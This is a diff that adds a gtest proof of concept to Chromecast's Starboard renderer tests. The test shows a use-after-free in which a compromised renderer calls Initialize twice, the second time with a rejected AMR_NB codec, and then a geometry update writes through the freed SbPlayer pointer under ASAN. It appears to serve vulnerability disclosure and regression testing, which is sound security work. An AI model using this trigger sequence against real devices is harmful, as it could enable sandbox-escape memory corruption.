diff --git a/chromecast/starboard/media/renderer/starboard_renderer_test.cc b/chromecast/starboard/media/renderer/starboard_renderer_test.cc index 36cfdd1ed99a1..6741fbac95976 100644 --- a/chromecast/starboard/media/renderer/starboard_renderer_test.cc +++ b/chromecast/starboard/media/renderer/starboard_renderer_test.cc @@ -679,6 +679,112 @@ TEST_F(StarboardRendererTest, SetPlaybackRateReportsMetric) { renderer.SetPlaybackRate(0.0); } +// ===================================================================== +// SECURITY POC: Use-after-free in GeometryChangeHandler::sb_player_ +// after StarboardRenderer double-Initialize where the second Initialize +// fails (renderer-supplied unsupported codec). +// +// This test models, with a heap-backed stand-in, exactly what the real +// vendor libcast_starboard_api.so does: +// * SbPlayerCreate -> heap-allocates an SbPlayerPrivate +// * SbPlayerDestroy -> frees that allocation +// * SbPlayerSetBounds -> dereferences/writes through the SbPlayer ptr +// +// Under ASAN this test produces heap-use-after-free at the +// SetPlayerBounds call that follows the failed second Initialize(). +// ===================================================================== +TEST_F(StarboardRendererTest, + POC_DoubleInitializeLeavesDanglingSbPlayer_UAF) { + // First Initialize(): heap-allocate the SbPlayer stand-in (as + // SbPlayerCreate would in production) and remember the address. + void* allocated_player = nullptr; + EXPECT_CALL(*starboard_, CreatePlayer(_, _)) + .WillOnce(DoAll(SaveArg<1>(&sb_player_callbacks_), + [&allocated_player](const StarboardPlayerCreationParam*, + const StarboardPlayerCallbackHandler*) + -> void* { + allocated_player = new int(0x41414141); + return allocated_player; + })); + + // SbPlayerDestroy in production frees the SbPlayerPrivate allocation. + EXPECT_CALL(*starboard_, DestroyPlayer(_)) + .WillOnce([](void* player) { delete static_cast(player); }); + + // SbPlayerSetBounds in production dereferences the SbPlayer to store + // the bounds. The first call (during the first successful Initialize) + // is valid; any call with the freed pointer is a UAF. + ON_CALL(*starboard_, SetPlayerBounds(_, _, _, _, _, _)) + .WillByDefault([&allocated_player](void* player, int, int x, int, int, + int) { + // If GeometryChangeHandler ever passes us a player other than the + // one CreatePlayer handed out, that is the bug right there. + EXPECT_EQ(player, allocated_player); + // Simulate vendor code writing the renderer-controlled rect into + // the SbPlayerPrivate struct -> heap-use-after-free if `player` + // was freed by DestroyPlayer above. + *static_cast(player) = x; + }); + + StarboardRenderer renderer(std::move(starboard_), task_runner_, plane_id_, + /*enable_buffering=*/true, + &geometry_setter_service_, &cast_metrics_helper_); + RunPendingTasks(); + + // ---- Step 1: first Initialize succeeds, sb_player_ is set ---- + renderer.Initialize( + &media_resource_, &client_, + base::BindLambdaForTesting(pipeline_status_fn_.AsStdFunction())); + RunPendingTasks(); + ASSERT_NE(allocated_player, nullptr); + + // ---- Step 2: a compromised renderer calls Initialize() again with an + // audio codec that ToStarboardAudioSampleInfo() rejects (kAMR_NB). + // MojoRendererService::Initialize() guards re-init with DCHECK only, + // so in release builds this reaches StarboardRenderer::Initialize(). + // The move-assign of player_manager_ destroys the previous manager, + // whose dtor calls DestroyPlayer on the SbPlayer that + // GeometryChangeHandler::sb_player_ still references. + NiceMock<::media::MockDemuxerStream> bad_audio_stream( + DemuxerStream::Type::AUDIO); + bad_audio_stream.set_audio_decoder_config(::media::AudioDecoderConfig( + ::media::AudioCodec::kAMR_NB, ::media::SampleFormat::kSampleFormatS16, + ::media::ChannelLayoutConfig::Mono(), 8000, /*extra_data=*/{}, + ::media::EncryptionScheme::kUnencrypted)); + + NiceMock<::media::MockMediaResource> bad_resource; + ON_CALL(bad_resource, GetFirstStream(DemuxerStream::Type::AUDIO)) + .WillByDefault(Return(&bad_audio_stream)); + ON_CALL(bad_resource, GetFirstStream(DemuxerStream::Type::VIDEO)) + .WillByDefault(Return(nullptr)); + + MockFunction second_init_cb; + EXPECT_CALL( + second_init_cb, + Call(HasStatusCode(::media::PIPELINE_ERROR_INITIALIZATION_FAILED))) + .Times(1); + renderer.Initialize( + &bad_resource, &client_, + base::BindLambdaForTesting(second_init_cb.AsStdFunction())); + RunPendingTasks(); + // At this point: SbPlayer A has been freed (DestroyPlayer ran), but + // GeometryChangeHandler::sb_player_ still equals A. + + // ---- Step 3: a renderer-controlled VideoHoleDrawQuad / SetVideoGeometry + // arrives. GeometryChangeHandler::OnVideoGeometryChange runs and calls + // SetPlayerBounds on the dangling sb_player_ -> use-after-free. + const gfx::RectF attacker_rect(100, 200, 300, 400); + static_cast(&geometry_setter_service_) + ->SetVideoGeometry(attacker_rect, + gfx::OverlayTransform::OVERLAY_TRANSFORM_NONE, + plane_id_); + RunPendingTasks(); + // ASAN: heap-use-after-free WRITE inside the SetPlayerBounds lambda, + // freed by the DestroyPlayer lambda, allocated by the CreatePlayer + // lambda — exactly mirroring the production + // SbPlayerCreate/SbPlayerDestroy/SbPlayerSetBounds lifecycle. +} + } // namespace } // namespace media } // namespace chromecast